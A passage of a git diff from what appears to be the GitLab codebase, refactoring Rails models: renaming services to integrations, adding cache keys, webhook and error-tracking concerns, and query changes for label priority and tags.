index 49840e3a2e7..3785023c9af 100644
--- a/app/models/clusters/applications/runner.rb
+++ b/app/models/clusters/applications/runner.rb
@@ -3,7 +3,7 @@
module Clusters
module Applications
class Runner < ApplicationRecord
- VERSION = '0.29.0'
+ VERSION = '0.30.0'
self.table_name = 'clusters_applications_runners'
diff --git a/app/models/clusters/integrations/prometheus.rb b/app/models/clusters/integrations/prometheus.rb
index 0a01ac5d1ce..3f2c47d48e6 100644
--- a/app/models/clusters/integrations/prometheus.rb
+++ b/app/models/clusters/integrations/prometheus.rb
@@ -23,7 +23,7 @@ module Clusters
after_destroy do
run_after_commit do
- deactivate_project_services
+ deactivate_project_integrations
end
end
@@ -32,9 +32,9 @@ module Clusters
run_after_commit do
if enabled
- activate_project_services
+ activate_project_integrations
else
- deactivate_project_services
+ deactivate_project_integrations
end
end
end
@@ -45,14 +45,14 @@ module Clusters
private
- def activate_project_services
+ def activate_project_integrations
::Clusters::Applications::ActivateServiceWorker
- .perform_async(cluster_id, ::PrometheusService.to_param) # rubocop:disable CodeReuse/ServiceClass
+ .perform_async(cluster_id, ::Integrations::Prometheus.to_param)
end
- def deactivate_project_services
+ def deactivate_project_integrations
::Clusters::Applications::DeactivateServiceWorker
- .perform_async(cluster_id, ::PrometheusService.to_param) # rubocop:disable CodeReuse/ServiceClass
+ .perform_async(cluster_id, ::Integrations::Prometheus.to_param)
end
end
end
diff --git a/app/models/commit_status.rb b/app/models/commit_status.rb
index 2db606898b9..cf23cd3be67 100644
--- a/app/models/commit_status.rb
+++ b/app/models/commit_status.rb
@@ -7,6 +7,7 @@ class CommitStatus < ApplicationRecord
include Presentable
include EnumWithNil
include BulkInsertableAssociations
+ include TaggableQueries
self.table_name = 'ci_builds'
diff --git a/app/models/compare.rb b/app/models/compare.rb
index 9b214171f07..2eaaf98c260 100644
--- a/app/models/compare.rb
+++ b/app/models/compare.rb
@@ -25,6 +25,10 @@ class Compare
@straight = straight
end
+ def cache_key
+ [@project, :compare, diff_refs.hash]
+ end
+
def commits
@commits ||= Commit.decorate(@compare.commits, project)
end
diff --git a/app/models/concerns/analytics/cycle_analytics/stage.rb b/app/models/concerns/analytics/cycle_analytics/stage.rb
index 90d48aa81d0..2a0274f5706 100644
--- a/app/models/concerns/analytics/cycle_analytics/stage.rb
+++ b/app/models/concerns/analytics/cycle_analytics/stage.rb
@@ -50,6 +50,10 @@ module Analytics
end
end
+ def events_hash_code
+ Digest::SHA256.hexdigest("#{start_event.hash_code}-#{end_event.hash_code}")
+ end
+
def start_event_label_based?
start_event_identifier && start_event.label_based?
end
diff --git a/app/models/concerns/any_field_validation.rb b/app/models/concerns/any_field_validation.rb
new file mode 100644
index 00000000000..987c4e7800e
--- /dev/null
+++ b/app/models/concerns/any_field_validation.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+# This module enables a record to be valid if any field is present
+#
+# Overwrite one_of_required_fields to set one of which fields must be present
+module AnyFieldValidation
+ extend ActiveSupport::Concern
+
+ included do
+ validate :any_field_present
+ end
+
+ private
+
+ def any_field_present
+ return unless one_of_required_fields.all? { |field| self[field].blank? }
+
+ errors.add(:base, _("At least one field of %{one_of_required_fields} must be present") %
+ { one_of_required_fields: one_of_required_fields })
+ end
+
+ def one_of_required_fields
+ raise NotImplementedError
+ end
+end
diff --git a/app/models/concerns/approvable_base.rb b/app/models/concerns/approvable_base.rb
index c2d94b50f8d..ef7ba7b1089 100644
--- a/app/models/concerns/approvable_base.rb
+++ b/app/models/concerns/approvable_base.rb
@@ -24,6 +24,19 @@ module ApprovableBase
.group(:id)
.having("COUNT(users.id) = ?", usernames.size)
end
+
+ scope :not_approved_by_users_with_usernames, -> (usernames) do
+ users = User.where(username: usernames).select(:id)
+ self_table = self.arel_table
+ app_table = Approval.arel_table
+
+ where(
+ Approval.where(approvals: { user_id: users })
+ .where(app_table[:merge_request_id].eq(self_table[:id]))
+ .select('true')
+ .arel.exists.not
+ )
+ end
end
class_methods do
diff --git a/app/models/concerns/atomic_internal_id.rb b/app/models/concerns/atomic_internal_id.rb
index 80cf6260b0b..88f577c3e23 100644
--- a/app/models/concerns/atomic_internal_id.rb
+++ b/app/models/concerns/atomic_internal_id.rb
@@ -159,9 +159,8 @@ module AtomicInternalId
# Defines class methods:
#
# - with_{scope}_{column}_supply
- # This method can be used to allocate a block of IID values during
- # bulk operations (importing/copying, etc). This can be more efficient
- # than creating instances one-by-one.
+ # This method can be used to allocate a stream of IID values during
+ # bulk operations (importing/copying, etc).
#
# Pass in a block that receives a `Supply` instance. To allocate a new
# IID value, call `Supply#next_value`.
@@ -181,14 +180,8 @@ module AtomicInternalId
scope_attrs = ::AtomicInternalId.scope_attrs(scope_value)
usage = ::AtomicInternalId.scope_usage(self)
- generator = InternalId::InternalIdGenerator.new(subject, scope_attrs, usage, init)
-
- generator.with_lock do
- supply = Supply.new(generator.record.last_value)
- block.call(supply)
- ensure
- generator.track_greatest(supply.current_value) if supply
- end
+ supply = Supply.new(-> { InternalId.generate_next(subject, scope_attrs, usage, init) })
+ block.call(supply)
end
end
end
@@ -236,14 +229,14 @@ module AtomicInternalId
end
class Supply
- attr_reader :current_value
+ attr_reader :generator
- def initialize(start_value)
- @current_value = start_value
+ def initialize(generator)
+ @generator = generator
end
def next_value
- @current_value += 1
+ @generator.call
end
end
end
diff --git a/app/models/concerns/avatarable.rb b/app/models/concerns/avatarable.rb
index fdc418029be..84a74386ff7 100644
--- a/app/models/concerns/avatarable.rb
+++ b/app/models/concerns/avatarable.rb
@@ -9,13 +9,18 @@ module Avatarable
ALLOWED_IMAGE_SCALER_WIDTHS = (USER_AVATAR_SIZES | PROJECT_AVATAR_SIZES | GROUP_AVATAR_SIZES).freeze
+ # This value must not be bigger than then: https://gitlab.com/gitlab-org/gitlab/-/blob/master/workhorse/config.toml.example#L20
+ #
+ # https://docs.gitlab.com/ee/development/image_scaling.html
+ MAXIMUM_FILE_SIZE = 200.kilobytes.to_i
+
included do
prepend ShadowMethods
include ObjectStorage::BackgroundMove
include Gitlab::Utils::StrongMemoize
validate :avatar_type, if: ->(user) { user.avatar.present? && user.avatar_changed? }
- validates :avatar, file_size: { maximum: 200.kilobytes.to_i }, if: :avatar_changed?
+ validates :avatar, file_size: { maximum: MAXIMUM_FILE_SIZE }, if: :avatar_changed?
mount_uploader :avatar, AvatarUploader
diff --git a/app/models/concerns/cache_markdown_field.rb b/app/models/concerns/cache_markdown_field.rb
index 101bff32dfe..79b622c8dad 100644
--- a/app/models/concerns/cache_markdown_field.rb
+++ b/app/models/concerns/cache_markdown_field.rb
@@ -163,9 +163,9 @@ module CacheMarkdownField
refs = all_references(self.author)
references = {}
- references[:mentioned_users_ids] = refs.mentioned_users&.pluck(:id).presence
- references[:mentioned_groups_ids] = refs.mentioned_groups&.pluck(:id).presence
- references[:mentioned_projects_ids] = refs.mentioned_projects&.pluck(:id).presence
+ references[:mentioned_users_ids] = refs.mentioned_user_ids.presence
+ references[:mentioned_groups_ids] = refs.mentioned_group_ids.presence
+ references[:mentioned_projects_ids] = refs.mentioned_project_ids.presence
# One retry is enough as next time `model_user_mention` should return the existing mention record,
# that threw the `ActiveRecord::RecordNotUnique` exception in first place.
diff --git a/app/models/concerns/cascading_namespace_setting_attribute.rb b/app/models/concerns/cascading_namespace_setting_attribute.rb
index 9efd90756b1..5d24e15d518 100644
--- a/app/models/concerns/cascading_namespace_setting_attribute.rb
+++ b/app/models/concerns/cascading_namespace_setting_attribute.rb
@@ -24,10 +24,6 @@ module CascadingNamespaceSettingAttribute
include Gitlab::Utils::StrongMemoize
class_methods do
- def cascading_settings_feature_enabled?
- ::Feature.enabled?(:cascading_namespace_settings, default_enabled: true)
- end
-
private
# Facilitates the cascading lookup of values and,
@@ -82,8 +78,6 @@ module CascadingNamespaceSettingAttribute
def define_attr_reader(attribute)
define_method(attribute) do
strong_memoize(attribute) do
- next self[attribute] unless self.class.cascading_settings_feature_enabled?
-
next self[attribute] if will_save_change_to_attribute?(attribute)
next locked_value(attribute) if cascading_attribute_locked?(attribute, include_self: false)
next self[attribute] unless self[attribute].nil?
@@ -189,7 +183,6 @@ module CascadingNamespaceSettingAttribute
end
def locked_ancestor(attribute)
- return unless self.class.cascading_settings_feature_enabled?
return unless namespace.has_parent?
strong_memoize(:"#{attribute}_locked_ancestor") do
@@ -202,14 +195,10 @@ module CascadingNamespaceSettingAttribute
end
def locked_by_ancestor?(attribute)
- return false unless self.class.cascading_settings_feature_enabled?
-
locked_ancestor(attribute).present?
end
def locked_by_application_setting?(attribute)
- return false unless self.class.cascading_settings_feature_enabled?
-
Gitlab::CurrentSettings.public_send("lock_#{attribute}") # rubocop:disable GitlabSecurity/PublicSend
end
@@ -241,7 +230,7 @@ module CascadingNamespaceSettingAttribute
def namespace_ancestor_ids
strong_memoize(:namespace_ancestor_ids) do
- namespace.self_and_ancestors(hierarchy_order: :asc).pluck(:id).reject { |id| id == namespace_id }
+ namespace.ancestor_ids(hierarchy_order: :asc)
end
end
diff --git a/app/models/concerns/ci/maskable.rb b/app/models/concerns/ci/maskable.rb
index e1ef4531845..62be0150ee0 100644
--- a/app/models/concerns/ci/maskable.rb
+++ b/app/models/concerns/ci/maskable.rb
@@ -11,7 +11,7 @@ module Ci
# * Minimal length of 8 characters
# * Characters must be from the Base64 alphabet (RFC4648) with the addition of '@', ':', '.', and '~'
# * Absolutely no fun is allowed
- REGEX = /\A[a-zA-Z0-9_+=\/@:.~-]{8,}\z/.freeze
+ REGEX = %r{\A[a-zA-Z0-9_+=/@:.~-]{8,}\z}.freeze
included do
validates :masked, inclusion: { in: [true, false] }
diff --git a/app/models/concerns/ci/metadatable.rb b/app/models/concerns/ci/metadatable.rb
index 601637ea32a..114435d5a21 100644
--- a/app/models/concerns/ci/metadatable.rb
+++ b/app/models/concerns/ci/metadatable.rb
@@ -77,7 +77,7 @@ module Ci
def write_metadata_attribute(legacy_key, metadata_key, value)
# save to metadata or this model depending on the state of feature flag
- if Feature.enabled?(:ci_build_metadata_config)
+ if Feature.enabled?(:ci_build_metadata_config, project, default_enabled: :yaml)
ensure_metadata.write_attribute(metadata_key, value)
write_attribute(legacy_key, nil)
else
diff --git a/app/models/concerns/enums/ci/commit_status.rb b/app/models/concerns/enums/ci/commit_status.rb
index 72788d15c0a..16dec5fb081 100644
--- a/app/models/concerns/enums/ci/commit_status.rb
+++ b/app/models/concerns/enums/ci/commit_status.rb
@@ -25,6 +25,7 @@ module Enums
ci_quota_exceeded: 16,
pipeline_loop_detected: 17,
no_matching_runner: 18, # not used anymore, but cannot be deleted because of old data
+ trace_size_exceeded: 19,
insufficient_bridge_permissions: 1_001,
downstream_bridge_project_not_found: 1_002,
invalid_bridge_trigger: 1_003,
diff --git a/app/models/concerns/has_integrations.rb b/app/models/concerns/has_integrations.rb
index b2775f4cbb2..25650ae56ad 100644
--- a/app/models/concerns/has_integrations.rb
+++ b/app/models/concerns/has_integrations.rb
@@ -19,7 +19,7 @@ module HasIntegrations
def without_integration(integration)
integrations = Integration
.select('1')
- .where('services.project_id = projects.id')
+ .where("#{Integration.table_name}.project_id = projects.id")
.where(type: integration.type)
Project
diff --git a/app/models/concerns/integrations/has_web_hook.rb b/app/models/concerns/integrations/has_web_hook.rb
new file mode 100644
index 00000000000..dabe7152b18
--- /dev/null
+++ b/app/models/concerns/integrations/has_web_hook.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Integrations
+ module HasWebHook
+ extend ActiveSupport::Concern
+
+ included do
+ after_save :update_web_hook!, if: :activated?
+ end
+
+ # Return the URL to be used for the webhook.
+ def hook_url
+ raise NotImplementedError
+ end
+
+ # Return whether the webhook should use SSL verification.
+ def hook_ssl_verification
+ true
+ end
+
+ # Create or update the webhook, raising an exception if it cannot be saved.
+ def update_web_hook!
+ hook = service_hook || build_service_hook
+ hook.url = hook_url if hook.url != hook_url # avoid reencryption
+ hook.enable_ssl_verification = hook_ssl_verification
+ hook.save! if hook.changed?
+ hook
+ end
+
+ # Execute the webhook, creating it if necessary.
+ def execute_web_hook!(*args)
+ update_web_hook!
+ service_hook.execute(*args)
+ end
+ end
+end
diff --git a/app/models/concerns/issuable.rb b/app/models/concerns/issuable.rb
index 2d06247a486..d5e2e63402f 100644
--- a/app/models/concerns/issuable.rb
+++ b/app/models/concerns/issuable.rb
@@ -31,6 +31,7 @@ module Issuable
TITLE_HTML_LENGTH_MAX = 800
DESCRIPTION_LENGTH_MAX = 1.megabyte
DESCRIPTION_HTML_LENGTH_MAX = 5.megabytes
+ SEARCHABLE_FIELDS = %w(title description).freeze
STATE_ID_MAP = {
opened: 1,
@@ -264,15 +265,16 @@ module Issuable
# matched_columns - Modify the scope of the query. 'title', 'description' or joining them with a comma.
#
# Returns an ActiveRecord::Relation.
- def full_search(query, matched_columns: 'title,description', use_minimum_char_limit: true)
- allowed_columns = [:title, :description]
- matched_columns = matched_columns.to_s.split(',').map(&:to_sym)
- matched_columns &= allowed_columns
+ def full_search(query, matched_columns: nil, use_minimum_char_limit: true)
+ if matched_columns
+ matched_columns = matched_columns.to_s.split(',')
+ matched_columns &= SEARCHABLE_FIELDS
+ matched_columns.map!(&:to_sym)
+ end
- # Matching title or description if the matched_columns did not contain any allowed columns.
- matched_columns = [:title, :description] if matched_columns.empty?
+ search_columns = matched_columns.presence || [:title, :description]
- fuzzy_search(query, matched_columns, use_minimum_char_limit: use_minimum_char_limit)
+ fuzzy_search(query, search_columns, use_minimum_char_limit: use_minimum_char_limit)
end
def simple_sorts
@@ -330,12 +332,15 @@ module Issuable
# When using CTE make sure to select the same columns that are on the group_by clause.
# This prevents errors when ignored columns are present in the database.
issuable_columns = with_cte ? issue_grouping_columns(use_cte: with_cte) : "#{table_name}.*"
+ group_columns = issue_grouping_columns(use_cte: with_cte) + ["highest_priorities.label_priority"]
- extra_select_columns.unshift("(#{highest_priority}) AS highest_priority")
+ extra_select_columns.unshift("highest_priorities.label_priority as highest_priority")
select(issuable_columns)
.select(extra_select_columns)
- .group(issue_grouping_columns(use_cte: with_cte))
+ .from("#{table_name}")
+ .joins("JOIN LATERAL(#{highest_priority}) as highest_priorities ON TRUE")
+ .group(group_columns)
.reorder(Gitlab::Database.nulls_last_order('highest_priority', direction))
end
@@ -382,7 +387,7 @@ module Issuable
if use_cte
attribute_names.map { |attr| arel_table[attr.to_sym] }
else
- arel_table[:id]
+ [arel_table[:id]]
end
end
@@ -457,6 +462,7 @@ module Issuable
if old_associations
old_labels = old_associations.fetch(:labels, labels)
old_assignees = old_associations.fetch(:assignees, assignees)
+ old_severity = old_associations.fetch(:severity, severity)
if old_labels != labels
changes[:labels] = [old_labels.map(&:hook_attrs), labels.map(&:hook_attrs)]
@@ -466,6 +472,10 @@ module Issuable
changes[:assignees] = [old_assignees.map(&:hook_attrs), assignees.map(&:hook_attrs)]
end
+ if supports_severity? && old_severity != severity
+ changes[:severity] = [old_severity, severity]
+ end
+
if self.respond_to?(:total_time_spent)
old_total_time_spent = old_associations.fetch(:total_time_spent, total_time_spent)
old_time_change = old_associations.fetch(:time_change, time_change)
diff --git a/app/models/concerns/milestoneish.rb b/app/models/concerns/milestoneish.rb
index eaf64f2541d..4f2ea58f36d 100644
--- a/app/models/concerns/milestoneish.rb
+++ b/app/models/concerns/milestoneish.rb
@@ -101,6 +101,10 @@ module Milestoneish
due_date && due_date.past?
end
+ def expired
+ expired? || false
+ end
+
def total_time_spent
@total_time_spent ||= issues.joins(:timelogs).sum(:time_spent) + merge_requests.joins(:timelogs).sum(:time_spent)
end
diff --git a/app/models/concerns/partitioned_table.rb b/app/models/concerns/partitioned_table.rb
index 9f1cec5d520..eab5d4c35bb 100644
--- a/app/models/concerns/partitioned_table.rb
+++ b/app/models/concerns/partitioned_table.rb
@@ -10,12 +10,12 @@ module PartitionedTable
monthly: Gitlab::Database::Partitioning::MonthlyStrategy
}.freeze
- def partitioned_by(partitioning_key, strategy:)
+ def partitioned_by(partitioning_key, strategy:, **kwargs)
strategy_class = PARTITIONING_STRATEGIES[strategy.to_sym] || raise(ArgumentError, "Unknown partitioning strategy: #{strategy}")
- @partitioning_strategy = strategy_class.new(self, partitioning_key)
+ @partitioning_strategy = strategy_class.new(self, partitioning_key, **kwargs)
- Gitlab::Database::Partitioning::PartitionCreator.register(self)
+ Gitlab::Database::Partitioning::PartitionManager.register(self)
end
end
end
diff --git a/app/models/concerns/sortable.rb b/app/models/concerns/sortable.rb
index 9f5e9b2bb57..65fb62a814f 100644
--- a/app/models/concerns/sortable.rb
+++ b/app/models/concerns/sortable.rb
@@ -46,7 +46,7 @@ module Sortable
private
def highest_label_priority(target_type_column: nil, target_type: nil, target_column:, project_column:, excluded_labels: [])
- query = Label.select(LabelPriority.arel_table[:priority].minimum)
+ query = Label.select(LabelPriority.arel_table[:priority].minimum.as('label_priority'))
.left_join_priorities
.joins(:label_links)
.where("label_priorities.project_id = #{project_column}")
diff --git a/app/models/concerns/taggable_queries.rb b/app/models/concerns/taggable_queries.rb
index 2897e5e6420..cba2e93a86d 100644
--- a/app/models/concerns/taggable_queries.rb
+++ b/app/models/concerns/taggable_queries.rb
@@ -12,5 +12,26 @@ module TaggableQueries
.where(taggings: { context: context, taggable_type: polymorphic_name })
.select('COALESCE(array_agg(tags.name ORDER BY name), ARRAY[]::text[])')
end
+
+ def matches_tag_ids(tag_ids, table: quoted_table_name, column: 'id')
+ matcher = ::ActsAsTaggableOn::Tagging
+ .where(taggable_type: CommitStatus.name)
+ .where(context: 'tags')
+ .where("taggable_id = #{connection.quote_table_name(table)}.#{connection.quote_column_name(column)}") # rubocop:disable GitlabSecurity/SqlInjection
+ .where.not(tag_id: tag_ids)
+ .select('1')
+
+ where("NOT EXISTS (?)", matcher)
+ end
+
+ def with_any_tags(table: quoted_table_name, column: 'id')
+ matcher = ::ActsAsTaggableOn::Tagging
+ .where(taggable_type: CommitStatus.name)
+ .where(context: 'tags')
+ .where("taggable_id = #{connection.quote_table_name(table)}.#{connection.quote_column_name(column)}") # rubocop:disable GitlabSecurity/SqlInjection
+ .select('1')
+
+ where("EXISTS (?)", matcher)
+ end
end
end
diff --git a/app/models/container_repository.rb b/app/models/container_repository.rb
index 2d28a81f462..8e130998f11 100644
--- a/app/models/container_repository.rb
+++ b/app/models/container_repository.rb
@@ -24,15 +24,8 @@ class ContainerRepository < ApplicationRecord
scope :for_group_and_its_subgroups, ->(group) do
project_scope = Project
.for_group_and_its_subgroups(group)
-
- project_scope =
- if Feature.enabled?(:read_container_registry_access_level, group, default_enabled: :yaml)
- project_scope.with_feature_enabled(:container_registry)
- else
- project_scope.with_container_registry
- end
-
- project_scope = project_scope.select(:id)
+ .with_feature_enabled(:container_registry)
+ .select(:id)
joins("INNER JOIN (#{project_scope.to_sql}) projects on projects.id=container_repositories.project_id")
end
@@ -153,7 +146,8 @@ class ContainerRepository < ApplicationRecord
end
def self.create_from_path!(path)
- build_from_path(path).tap(&:save!)
+ safe_find_or_create_by!(project: path.repository_project,
+ name: path.repository_name)
end
def self.build_root_repository(project)
diff --git a/app/models/deployment.rb b/app/models/deployment.rb
index 7f5849bffc6..313aeb1eda7 100644
--- a/app/models/deployment.rb
+++ b/app/models/deployment.rb
@@ -189,7 +189,7 @@ class Deployment < ApplicationRecord
def execute_hooks(status_changed_at)
deployment_data = Gitlab::DataBuilder::Deployment.build(self, status_changed_at)
project.execute_hooks(deployment_data, :deployment_hooks)
- project.execute_services(deployment_data, :deployment_hooks)
+ project.execute_integrations(deployment_data, :deployment_hooks)
end
def last?
diff --git a/app/models/diff_discussion.rb b/app/models/diff_discussion.rb
index 6806008d676..642e93f7912 100644
--- a/app/models/diff_discussion.rb
+++ b/app/models/diff_discussion.rb
@@ -42,6 +42,13 @@ class DiffDiscussion < Discussion
)
end
+ def cache_key
+ [
+ super,
+ Digest::SHA1.hexdigest(position.to_json)
+ ].join(':')
+ end
+
private
def get_params
diff --git a/app/models/discussion.rb b/app/models/discussion.rb
index 70aa02063cc..076d8cc280c 100644
--- a/app/models/discussion.rb
+++ b/app/models/discussion.rb
@@ -7,6 +7,9 @@ class Discussion
include GlobalID::Identification
include ResolvableDiscussion
+ # Bump this if we need to refresh the cached versions of discussions
+ CACHE_VERSION = 1
+
attr_reader :notes, :context_noteable
delegate :created_at,
@@ -158,4 +161,19 @@ class Discussion
def reply_attributes
first_note.slice(:type, :noteable_type, :noteable_id, :commit_id, :discussion_id)
end
+
+ def cache_key
+ # Need this so cache will be invalidated when note within a discussion
+ # has been deleted.
+ notes_sha = Digest::SHA1.hexdigest(notes.map(&:id).join(':'))
+
+ [
+ CACHE_VERSION,
+ notes.last.latest_cached_markdown_version,
+ id,
+ notes_sha,
+ notes.max_by(&:updated_at).updated_at,
+ resolved_at
+ ].join(':')
+ end
end
diff --git a/app/models/error_tracking.rb b/app/models/error_tracking.rb
new file mode 100644
index 00000000000..20729330088
--- /dev/null
+++ b/app/models/error_tracking.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ErrorTracking
+ def self.table_name_prefix
+ 'error_tracking_'
+ end
+end
diff --git a/app/models/error_tracking/error.rb b/app/models/error_tracking/error.rb
new file mode 100644
index 00000000000..012dcc4418f
--- /dev/null
+++ b/app/models/error_tracking/error.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class ErrorTracking::Error < ApplicationRecord
+ belongs_to :project
+
+ has_many :events, class_name: 'ErrorTracking::ErrorEvent'
+
+ validates :project, presence: true
+ validates :name, presence: true
+ validates :description, presence: true
+ validates :actor, presence: true
+
+ def self.report_error(name:, description:, actor:, platform:, timestamp:)
+ safe_find_or_create_by(
+ name: name,
+ description: description,
+ actor: actor,
+ platform: platform
+ ) do |error|
+ error.update!(last_seen_at: timestamp)
+ end
+ end
+end
diff --git a/app/models/error_tracking/error_event.rb b/app/models/error_tracking/error_event.rb
new file mode 100644
index 00000000000..ed14a1bce41
--- /dev/null
+++ b/app/models/error_tracking/error_event.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class ErrorTracking::ErrorEvent < ApplicationRecord
+ belongs_to :error, counter_cache: :events_count
+
+ validates :payload, json_schema: { filename: 'error_tracking_event_payload' }
+
+ validates :error, presence: true
+ validates :description, presence: true
+ validates :occurred_at, presence: true
+end
diff --git a/app/models/error_tracking/project_error_tracking_setting.rb b/app/models/error_tracking/project_error_tracking_setting.rb
index 956b5d6470f..c729b002852 100644
--- a/app/models/error_tracking/project_error_tracking_setting.rb
+++ b/app/models/error_tracking/project_error_tracking_setting.rb
@@ -24,6 +24,8 @@ module ErrorTracking
self.reactive_cache_key = ->(setting) { [setting.class.model_name.singular, setting.project_id] }
self.reactive_cache_work_type = :external_dependency
+ self.table_name = 'project_error_tracking_settings'
+
belongs_to :project
validates :api_url, length: { maximum: 255 }, public_url: { enforce_sanitization: true, ascii_only: true }, allow_nil: true
diff --git a/app/models/event.rb b/app/models/event.rb
index 5b755736f47..14d20b0d6c4 100644
--- a/app/models/event.rb
+++ b/app/models/event.rb
@@ -24,15 +24,14 @@ class Event < ApplicationRecord
left: 9, # User left project
destroyed: 10,
expired: 11, # User left project due to expiry
- approved: 12,
- archived: 13 # Recoverable deletion
+ approved: 12
).freeze
private_constant :ACTIONS
WIKI_ACTIONS = [:created, :updated, :destroyed].freeze
- DESIGN_ACTIONS = [:created, :updated, :destroyed, :archived].freeze
+ DESIGN_ACTIONS = [:created, :updated, :destroyed].freeze
TARGET_TYPES = HashWithIndifferentAccess.new(
issue: Issue,
@@ -390,16 +389,15 @@ class Event < ApplicationRecord
read_snippet: %i[personal_snippet_note? project_snippet_note?],
read_milestone: %i[milestone?],
read_wiki: %i[wiki_page?],
- read_design: %i[design_note? design?]
+ read_design: %i[design_note? design?],
+ read_note: %i[note?]
}
end
private
def permission_object
- if note?
- note_target
- elsif target_id.present?
+ if target_id.present?
target
else
project
@@ -438,8 +436,7 @@ class Event < ApplicationRecord
{
created: _('uploaded'),
updated: _('revised'),
- destroyed: _('deleted'),
- archived: _('archived')
+ destroyed: _('deleted')
}
end
diff --git a/app/models/event_collection.rb b/app/models/event_collection.rb
index 4768506b8fa..f799377a15f 100644
--- a/app/models/event_collection.rb
+++ b/app/models/event_collection.rb
@@ -59,6 +59,7 @@ class EventCollection
parents_for_lateral = parents.select(:id).to_sql
lateral = filtered_events
+ # Applying the limit here (before we filter (permissions) means we may get less than limit)
.limit(limit_for_join_lateral)
.where("events.#{parent_column} = parents_for_lateral.id") # rubocop:disable GitlabSecurity/SqlInjection
.to_sql
diff --git a/app/models/group.rb b/app/models/group.rb
index e4127b2b2d4..eefb8d3d16a 100644
--- a/app/models/group.rb
+++ b/app/models/group.rb
@@ -167,7 +167,7 @@ class Group < Namespace
def without_integration(integration)
integrations = Integration
.select('1')
- .where('services.group_id = namespaces.id')
+ .where("#{Integration.table_name}.group_id = namespaces.id")
.where(type: integration.type)
where('NOT EXISTS (?)', integrations)
@@ -296,7 +296,7 @@ class Group < Namespace
end
def add_users(users, access_level, current_user: nil, expires_at: nil)
- GroupMember.add_users(
+ Members::Groups::CreatorService.add_users( # rubocop:todo CodeReuse/ServiceClass
self,
users,
access_level,
@@ -306,14 +306,13 @@ class Group < Namespace
end
def add_user(user, access_level, current_user: nil, expires_at: nil, ldap: false)
- GroupMember.add_user(
- self,
- user,
- access_level,
- current_user: current_user,
- expires_at: expires_at,
- ldap: ldap
- )
+ Members::Groups::CreatorService.new(self, # rubocop:todo CodeReuse/ServiceClass
+ user,
+ access_level,
+ current_user: current_user,
+ expires_at: expires_at,
+ ldap: ldap)
+ .execute
end
def add_guest(user, current_user = nil)
@@ -667,7 +666,7 @@ class Group < Namespace
# TODO: group hooks https://gitlab.com/gitlab-org/gitlab/-/issues/216904
end
- def execute_services(data, hooks_scope)
+ def execute_integrations(data, hooks_scope)
# NOOP
# TODO: group hooks https://gitlab.com/gitlab-org/gitlab/-/issues/216904
end
diff --git a/app/models/hooks/web_hook_log.rb b/app/models/hooks/web_hook_log.rb
index 0c96d5d4b6d..8c0565e4a38 100644
--- a/app/models/hooks/web_hook_log.rb
+++ b/app/models/hooks/web_hook_log.rb
@@ -9,7 +9,7 @@ class WebHookLog < ApplicationRecord
self.primary_key = :id
- partitioned_by :created_at, strategy: :monthly
+ partitioned_by :created_at, strategy: :monthly, retain_for: 3.months
belongs_to :web_hook
diff --git a/app/models/integration.rb b/app/models/integration.rb
index 2fbcdc7f1cb..ea1e3840f6c 100644
--- a/app/models/integration.rb
+++ b/app/models/integration.rb
@@ -10,18 +10,15 @@ class Integration < ApplicationRecord
include FromUnion
include EachBatch
- # TODO Rename the table: https://gitlab.com/gitlab-org/gitlab/-/issues/201856
- self.table_name = 'services'
-
INTEGRATION_NAMES = %w[
- asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker discord
+ asana assembla bamboo bugzilla buildkite campfire confluence custom_issue_tracker datadog discord
drone_ci emails_on_push ewm external_wiki flowdock hangouts_chat irker jira
mattermost mattermost_slash_commands microsoft_teams packagist pipelines_email
pivotaltracker prometheus pushover redmine slack slack_slash_commands teamcity unify_circuit webex_teams youtrack
].freeze
PROJECT_SPECIFIC_INTEGRATION_NAMES = %w[
- datadog jenkins
+ jenkins
].freeze
# Fake integrations to help with local development.
@@ -38,22 +35,6 @@ class Integration < ApplicationRecord
Integrations::BaseSlashCommands
].freeze
- # used as part of the renaming effort (https://gitlab.com/groups/gitlab-org/-/epics/2504)
- RENAMED_TO_INTEGRATION = %w[
- asana assembla
- bamboo bugzilla buildkite
- campfire confluence custom_issue_tracker
- datadog discord drone_ci
- emails_on_push ewm emails_on_push external_wiki
- flowdock
- hangouts_chat
- irker
- ].to_set.freeze
-
- def self.renamed?(name)
- RENAMED_TO_INTEGRATION.include?(name)
- end
-
serialize :properties, JSON # rubocop:disable Cop/ActiveRecordSerialize
attribute :type, Gitlab::Integrations::StiType.new
@@ -99,9 +80,9 @@ class Integration < ApplicationRecord
scope :by_active_flag, -> (flag) { where(active: flag) }
scope :inherit_from_id, -> (id) { where(inherit_from_id: id) }
scope :inherit, -> { where.not(inherit_from_id: nil) }
- scope :for_group, -> (group) { where(group_id: group, type: available_services_types(include_project_specific: false)) }
- scope :for_template, -> { where(template: true, type: available_services_types(include_project_specific: false)) }
- scope :for_instance, -> { where(instance: true, type: available_services_types(include_project_specific: false)) }
+ scope :for_group, -> (group) { where(group_id: group, type: available_integration_types(include_project_specific: false)) }
+ scope :for_template, -> { where(template: true, type: available_integration_types(include_project_specific: false)) }
+ scope :for_instance, -> { where(instance: true, type: available_integration_types(include_project_specific: false)) }
scope :push_hooks, -> { where(push_events: true, active: true) }
scope :tag_push_hooks, -> { where(tag_push_events: true, active: true) }
@@ -156,9 +137,13 @@ class Integration < ApplicationRecord
args.each do |arg|
class_eval <<~RUBY, __FILE__, __LINE__ + 1
+ def #{arg}
+ Gitlab::Utils.to_boolean(properties['#{arg}'])
+ end
+
def #{arg}?
# '!!' is used because nil or empty string is converted to nil
- !!ActiveRecord::Type::Boolean.new.cast(#{arg})
+ !!#{arg}
end
RUBY
end
@@ -169,7 +154,7 @@ class Integration < ApplicationRecord
end
def self.event_names
- self.supported_events.map { |event| ServicesHelper.service_event_field_name(event) }
+ self.supported_events.map { |event| IntegrationsHelper.integration_event_field_name(event) }
end
def self.supported_event_actions
@@ -184,100 +169,92 @@ class Integration < ApplicationRecord
'push'
end
- def self.event_description(event)
- ServicesHelper.service_event_description(event)
- end
-
def self.find_or_create_templates
create_nonexistent_templates
for_template
end
def self.create_nonexistent_templates
- nonexistent_services = build_nonexistent_services_for(for_template)
- return if nonexistent_services.empty?
+ nonexistent_integrations = build_nonexistent_integrations_for(for_template)
